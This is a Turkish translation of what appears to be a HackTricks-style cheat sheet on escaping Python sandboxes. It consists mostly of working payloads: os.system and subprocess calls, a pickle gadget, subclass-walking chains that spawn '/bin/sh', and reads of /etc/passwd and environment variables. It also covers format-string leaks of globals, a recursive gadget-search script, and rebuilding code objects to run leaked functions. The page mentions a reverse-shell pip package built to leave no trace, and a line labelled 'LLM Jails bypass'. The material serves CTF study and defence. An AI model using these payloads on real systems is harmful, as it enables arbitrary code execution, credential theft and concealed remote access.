Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın. Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
Python kumanda korumalarını aşmak ve keyfi komutlar çalıştırmak için bazı ipuçlarıdır.
Komut Çalıştırma Kütüphaneleri
Bilmeniz gereken ilk şey, bazı önceden içe aktarılan kütüphanelerle doğrudan kod çalıştırıp çalıştıramayacağınız veya bu kütüphanelerden herhangi birini içe aktarabileceğinizdir:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")pdb.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
open ve read fonksiyonlarının, python sandbox'ı içindeki dosyaları okumak ve çalıştırabileceğiniz bazı kodlar yazmak için yararlı olabileceğini unutmayın.
Python2 input() fonksiyonu, program çökmeden önce python kodu çalıştırmaya olanak tanır.
Python, öncelikle mevcut dizinden kütüphaneleri yüklemeye çalışır (aşağıdaki komut, python'un modülleri nereden yüklediğini yazdıracaktır): python3 -c 'import sys; print(sys.path)'
Varsayılan yüklü python paketleri ile pickle sandbox'ını atlatma
#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Buradan ters kabuk oluşturmak için paketi indirebilirsiniz. Lütfen, kullanmadan önce paketi açtığınızdan, setup.py dosyasını değiştirdiğinizden ve ters kabuk için IP'nizi girdiğinizden emin olun:
Bu paket Reverse olarak adlandırılmıştır. Ancak, ters kabuktan çıktığınızda kurulumun geri kalanının başarısız olması için özel olarak hazırlanmıştır, böylece çıktığınızda sunucuda ekstra bir python paketi bırakmazsınız.
Python kodunu Eval etmek
exec'in çok satırlı dizeleri ve ";" karakterini desteklediğini, ancak eval'in desteklemediğini unutmayın (walrus operatörüne bakın)
Belirli karakterler yasaksa, kısıtlamayı bypass etmek için hex/octal/B64 temsilini kullanabilirsiniz:
exec("print('RCE'); __import__('os').system('ls')")#Using ";"exec("print('RCE')\n__import__('os').system('ls')")#Using "\n"eval("__import__('os').system('ls')")#Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))#This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
Python kodunu eval etmeye izin veren diğer kütüphaneler
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
Operatörler ve kısa hileler
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
Bypass korumaları kodlamalar aracılığıyla (UTF-7)
In this writeup UFT-7, görünüşte bir sandbox içinde rastgele python kodu yüklemek ve çalıştırmak için kullanılır:
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
RCE nesneleri oluşturma ve aşırı yükleme
Eğer bir sınıf tanımlayabilir ve o sınıfın bir nesnesini oluşturabilirseniz, doğrudan çağırmaya gerek kalmadantetiklenebilenfarklı yöntemler yazabilir/aşırı yükleyebilirsiniz.
RCE özel sınıflarla
Bazı sınıf yöntemlerini (mevcut sınıf yöntemlerini aşırı yükleyerek veya yeni bir sınıf oluşturarak) doğrudan çağırmadantetiklendiğinderastgele kod çalıştıracak şekilde değiştirebilirsiniz.
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /='import os; os.system("sh")') (Note that this only works when from__future__import division isin effect.)__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
Metaclass'ların bize sağladığı en önemli şey, bir sınıfın örneğini, yapıcıyı doğrudan çağırmadan, hedef sınıfı bir metaclass olarak kullanarak yeni bir sınıf oluşturmaktır.
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
Hata ile nesne oluşturma
Bir hata tetiklendiğinde, Exception nesnesi oluşturulur ve doğrudan yapıcıyı çağırmanıza gerek kalmaz (bir @_nag0mez hilesi):
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
Daha Fazla RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
Yerleşik yardımcı ve lisans ile dosya oku
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
Eğer __builtins__ nesnesine erişiminiz varsa, kütüphaneleri içe aktarabilirsiniz (son bölümde gösterilen diğer dize temsillerini de burada kullanabileceğinizi unutmayın):
__builtins__ yoksa, hiçbir şeyi içe aktaramayacak ve dosyaları okuyup yazamayacaksınız çünkü tüm global fonksiyonlar (örneğin open, import, print...) yüklenmemiştir.
Ancak, varsayılan olarak python birçok modülü belleğe yükler. Bu modüller masum görünebilir, ancak bazıları içinde tehlikeli işlevsellikler de içermektedir ve bunlara erişilerek keyfi kod yürütme sağlanabilir.
Aşağıdaki örneklerde, bu "masum" modüllerin nasıl istismar edileceğini ve içlerindetehlikeliişlevselliklere nasıl erişileceğini gözlemleyebilirsiniz.
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"builtins"in x.__init__.__globals__ ][0]["builtins"]
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__()if x.__name__=='catch_warnings'][0]()._module.__builtins____builtins__["__import__"]('os').system('ls')
Yerleşik yükler
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
Globals and locals
globals ve locals kontrol etmek, erişebileceğiniz şeyleri bilmenin iyi bir yoludur.
Burada, daha tehlikeli işlevsellikleri kolayca keşfetmeyi ve daha güvenilir istismarlar önermeyi açıklamak istiyorum.
Bypass ile alt sınıflara erişim
Bu tekniğin en hassas kısımlarından biri temel alt sınıflara erişim sağlamaktır. Önceki örneklerde bu ''.__class__.__base__.__subclasses__() kullanılarak yapılmıştı, ancak diğer olası yollar da vardır:
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]()# From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
Tehlikeli kütüphaneleri bulma
Örneğin, sys kütüphanesi ile rastgele kütüphaneleri içe aktarmanın mümkün olduğunu bilerek, içinde sys bulunan tüm yüklü modülleri arayabilirsiniz:
Birçok var, ve sadece birine ihtiyacımız var komutları çalıştırmak için:
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"sys"in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
Diğer kütüphaneler ile de aynı şeyi yapabiliriz, bunların komutları çalıştırmak için kullanılabileceğini biliyoruz:
#os[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"os"in x.__init__.__globals__ ][0]["os"].system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"os"== x.__init__.__globals__["__name__"] ][0]["system"]("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"subprocess"== x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"__bultins__"in x.__init__.__globals__ ][ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"builtins"in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")#sys[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"sys"in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'_sitebuiltins."instr(x)andnot"_Helper"instr(x) ][0]["sys"].modules["os"].system("ls")#commands (not very common)[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"commands"in x.__init__.__globals__ ][0]["commands"].getoutput("ls")#pty (not very common)[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"pty"in x.__init__.__globals__ ][0]["pty"].spawn("ls")#importlib[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"importlib"in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"importlib"in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'imp."instr(x) ][0]["importlib"].import_module("os").system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'imp."instr(x) ][0]["importlib"].__import__("os").system("ls")#pdb[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"pdb"in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
Ayrıca, kötü niyetli kütüphaneleri yükleyen modülleri de arayabiliriz:
Ayrıca, diğer kütüphanelerinkomutları çalıştırmak için fonksiyonları çağırabileceğini düşünüyorsanız, olası kütüphaneler içindeki fonksiyon adlarına göre de filtreleyebiliriz:
Yerleşiklerin, Global Değişkenlerin... Rekürsif Araması
Bu gerçekten harika. Eğer globals, builtins, open veya benzeri bir nesne arıyorsanız bu scripti kullanarak o nesneyi bulabileceğiniz yerleri rekürsif olarak bulun.
import os, sys # Import these to find more gadgetsSEARCH_FOR ={# Misc"__globals__":set(),"builtins":set(),"__builtins__":set(),"open":set(),# RCE libs"os":set(),"subprocess":set(),"commands":set(),"pty":set(),"importlib":set(),"imp":set(),"sys":set(),"pip":set(),"pdb":set(),# RCE methods"system":set(),"popen":set(),"getstatusoutput":set(),"getoutput":set(),"call":set(),"Popen":set(),"popen":set(),"spawn":set(),"import_module":set(),"__import__":set(),"load_source":set(),"execfile":set(),"execute":set()}#More than 4 is very time consumingMAX_CONT =4#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found#ALREADY_CHECKED = set()defcheck_recursive(element,cont,name,orig_n,orig_i,execute):# If bigger than maximum, stopif cont > MAX_CONT:return# If already checked, stop#if name and name in ALREADY_CHECKED:# return# Add to already checked#if name:# ALREADY_CHECKED.add(name)# If found add to the dictfor k in SEARCH_FOR:if k indir(element)or (type(element)isdictand k in element):SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")# Continue with the recursivityfor new_element indir(element):try:check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)# WARNING: Calling random functions sometimes kills the script# Comment this part if you notice that behaviour!!if execute:try:ifcallable(getattr(element, new_element)):check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)except:passexcept:pass# If in a dict, scan also each key, very importantiftype(element)isdict:for new_element in element:check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)defmain():print("Checking from empty string...")total = [""]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Empty str {i}", True)print()print("Checking loaded subclasses...")total ="".__class__.__base__.__subclasses__()for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Subclass {i}", True)print()print("Checking from global functions...")total = [print, check_recursive]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Global func {i}", False)print()print(SEARCH_FOR)if__name__=="__main__":main()
Bu scriptin çıktısını bu sayfada kontrol edebilirsiniz:
Eğer formatlanacak bir string python'a gönderirseniz, python iç bilgilerine erişmek için {} kullanabilirsiniz. Örneğin, globals veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz.
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/CONFIG ={"KEY":"ASXFYFGK78989"}classPeopleInfo:def__init__(self,fname,lname):self.fname = fnameself.lname = lnamedefget_name_for_avatar(avatar_str,people_obj):return avatar_str.format(people_obj = people_obj)people =PeopleInfo('GEEKS', 'FORGEEKS')st ="{people_obj.__init__.__globals__[CONFIG][KEY]}"get_name_for_avatar(st, people_obj = people)
Not edin ki niteliklere normal bir şekilde nokta ile people_obj.__init__ ve dict elemanınaparantez ile tırnaksız __globals__[CONFIG] erişebilirsiniz.
Ayrıca, bir nesnenin elemanlarını listelemek için .__dict__ kullanabileceğinizi unutmayın get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people).
Format dizelerinin bazı diğer ilginç özellikleri, belirtilen nesnede str, repr ve ascii fonksiyonlarını !s, !r, !a ekleyerek çalıştırma olanağıdır:
st ="{people_obj.__init__.__globals__[CONFIG][KEY]!a}"get_name_for_avatar(st, people_obj = people)
Ayrıca, sınıflarda yeni formatlayıcılar kodlamak mümkündür:
classHAL9000(object):def__format__(self,format):if (format=='open-the-pod-bay-doors'):return"I'm afraid I can't do that."return'HAL 9000''{:open-the-pod-bay-doors}'.format(HAL9000())#I'm afraid I can't do that.
Daha fazla örnek hakkında formatstring örnekleri https://pyformat.info/ adresinde bulunabilir.
Ayrıca, Python iç nesnelerinden hassas bilgileri okuyacak aletler için aşağıdaki sayfayı kontrol edin:
{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}# Access an element through several links{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}# Example from https://corgi.rip/posts/buckeye-writeups/secret_variable ="clueless"x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')str(x)# Out: clueless
LLM Jails bypass
From here: ().class.base.subclasses()[108].load_module('os').system('dir')
Format'tan RCE'ye kütüphaneleri yükleme
Bu yazıdan TypeMonkey chall'a göre, python'daki format string zafiyetini kötüye kullanarak diskten rastgele kütüphaneler yüklemek mümkündür.
Hatırlatma olarak, python'da her bir işlem gerçekleştirildiğinde bazı fonksiyonlar çalıştırılır. Örneğin 2*3(2).mul(3) veya {'a':'b'}['a']{'a':'b'}.__getitem__('a') olarak çalıştırılacaktır.
Bir python format string zafiyeti, fonksiyon çalıştırılmasına izin vermez (parantez kullanılmasına izin vermez), bu nedenle '{0.system("/bin/sh")}'.format(os) gibi RCE elde etmek mümkün değildir.
Ancak, [] kullanmak mümkündür. Bu nedenle, yaygın bir python kütüphanesi __getitem__ veya __getattr__ metoduna sahipse ve bu metod rastgele kod çalıştırıyorsa, RCE elde etmek için bunları kötüye kullanmak mümkündür.
Bu cihaz, diskten bir kütüphane yüklemeye olanak tanır. Bu nedenle, saldırıya uğrayan sunucuya doğru bir şekilde derlenmiş kütüphaneyi yazmak veya yüklemek gerekmektedir.
dir()#General dir() to find what we have loaded['__builtins__','__doc__','__name__','__package__','b','bytecode','code','codeobj','consts','dis','filename','foo','get_flag','names','read','x']dir(get_flag)#Get info tof the function['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
globals
__globals__ ve func_globals (Aynı) Küresel ortamı elde eder. Örnekte bazı içe aktarılan modülleri, bazı küresel değişkenleri ve bunların içeriğini görebilirsiniz:
get_flag.func_globalsget_flag.__globals__{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable valueCustomClassObject.__class__.__init__.__globals__
__code__ ve func_code: Fonksiyonun kod nesnesini elde etmek için bu özelliğeerişebilirsiniz.
# In our current exampleget_flag.__code__<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1# Compiling some python codecompile("print(5)", "", "single")<code object<module> at 0x7f9ca01330c0, file "", line 1>#Get the attributes of the code objectdir(get_flag.__code__)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
Kod Bilgisi Alma
# Another examples ='''a = 5b = 'text'def f(x):return xf(5)'''c=compile(s, "", "exec")# __doc__: Get the description of the function, if anyprint.__doc__# co_consts: Constantsget_flag.__code__.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.(5,'text',<code object f at 0x7f9ca0133540, file "", line 4>,'f',None# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.get_flag.__code__.co_names()c.co_names('a','b','f')#co_varnames: Local names used by the bytecode (arguments first, then the local variables)get_flag.__code__.co_varnames('some_input','var1','var2','var3')#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.get_flag.__code__.co_cellvars()#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.get_flag.__code__.co_freevars()#Get bytecodeget_flag.__code__.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
Dikkat edin ki eğer python sandbox'ında dis modülünü içe aktaramıyorsanız fonksiyonun bytecode'unu (get_flag.func_code.co_code) alabilir ve bunu yerel olarak dağıtabilirsiniz. Yüklenen değişkenlerin içeriğini göremezsiniz (LOAD_CONST) ama bunları (get_flag.func_code.co_consts) kullanarak tahmin edebilirsiniz çünkü LOAD_CONST ayrıca yüklenen değişkenin ofsetini de belirtir.
Şimdi, bir şekilde çalıştıramadığınız bir fonksiyon hakkında bilgileri dökebildiğinizi ama onu çalıştırmanız gerektiğini hayal edelim.
Aşağıdaki örnekte olduğu gibi, o fonksiyonun kod nesnesine erişebiliyorsunuz, ancak sadece ayrıştırmayı okuyarak bayrağı nasıl hesaplayacağınızı bilmiyorsunuz (daha karmaşık bir calc_flag fonksiyonu hayal edin)
defget_flag(some_input):var1=1var2="secretcode"var3=["some","array"]defcalc_flag(flag_rot2):return''.join(chr(ord(c)-2) for c in flag_rot2)if some_input == var2:returncalc_flag("VjkuKuVjgHnci")else:return"Nope"
Kod nesnesi oluşturma
Öncelikle, bir kod nesnesinin nasıl oluşturulup çalıştırılacağını bilmemiz gerekiyor, böylece sızdırılan fonksiyonumuzu çalıştırmak için bir tane oluşturabiliriz:
code_type =type((lambda: None).__code__)# Check the following hint if you get an error in calling thiscode_obj =code_type(co_argcount, co_kwonlyargcount,co_nlocals, co_stacksize, co_flags,co_code, co_consts, co_names,co_varnames, co_filename, co_name,co_firstlineno, co_lnotab, freevars=None,cellvars=None)# Executioneval(code_obj)#Execute as a whole script# If you have the code of a function, execute itmydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")
Kullandığınız python sürümüne bağlı olarak code_type'ın parametrelerifarklı bir sıraya sahip olabilir. Kullandığınız python sürümündeki parametrelerin sırasını öğrenmenin en iyi yolu:
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
Sızdırılmış bir fonksiyonu yeniden oluşturma
Aşağıdaki örnekte, fonksiyonu yeniden oluşturmak için gereken tüm verileri doğrudan fonksiyon kodu nesnesinden alacağız. Gerçek bir örnekte, fonksiyonu çalıştırmak için gereken tüm değerlersızdırmanız gerekencode_type olacaktır.
fc = get_flag.__code__# In a real situation the values like fc.co_argcount are the ones you need to leakcode_obj =code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)mydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")#ThisIsTheFlag
Bypass Defenses
Bu yazının başındaki önceki örneklerde, compile fonksiyonunu kullanarak herhangi bir python kodunu nasıl çalıştıracağınızı görebilirsiniz. Bu ilginç çünkü döngüler ve her şeyle birlikte tam betikleri bir tek satırda çalıştırabilirsiniz (ve aynı şeyi exec kullanarak da yapabiliriz).
Her neyse, bazen bir derlenmiş nesne oluşturmak ve bunu CTF makinesinde çalıştırmak faydalı olabilir (örneğin, CTF'de compiled fonksiyonuna sahip olmadığımız için).
Örneğin, ./poc.py dosyasını okuyan bir fonksiyonu manuel olarak derleyip çalıştıralım:
#On Remotefunction_type =type(lambda: None)code_type =type((lambda: None).__code__)#Get <type 'type'>consts = (None,"./poc.py",'r')bytecode ='t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'names = ('open','read')# And execute it using eval/execeval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))#You could also execute it directlymydict ={}mydict['__builtins__']=__builtins__codeobj =code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())function_type(codeobj, mydict, None, None, None)()
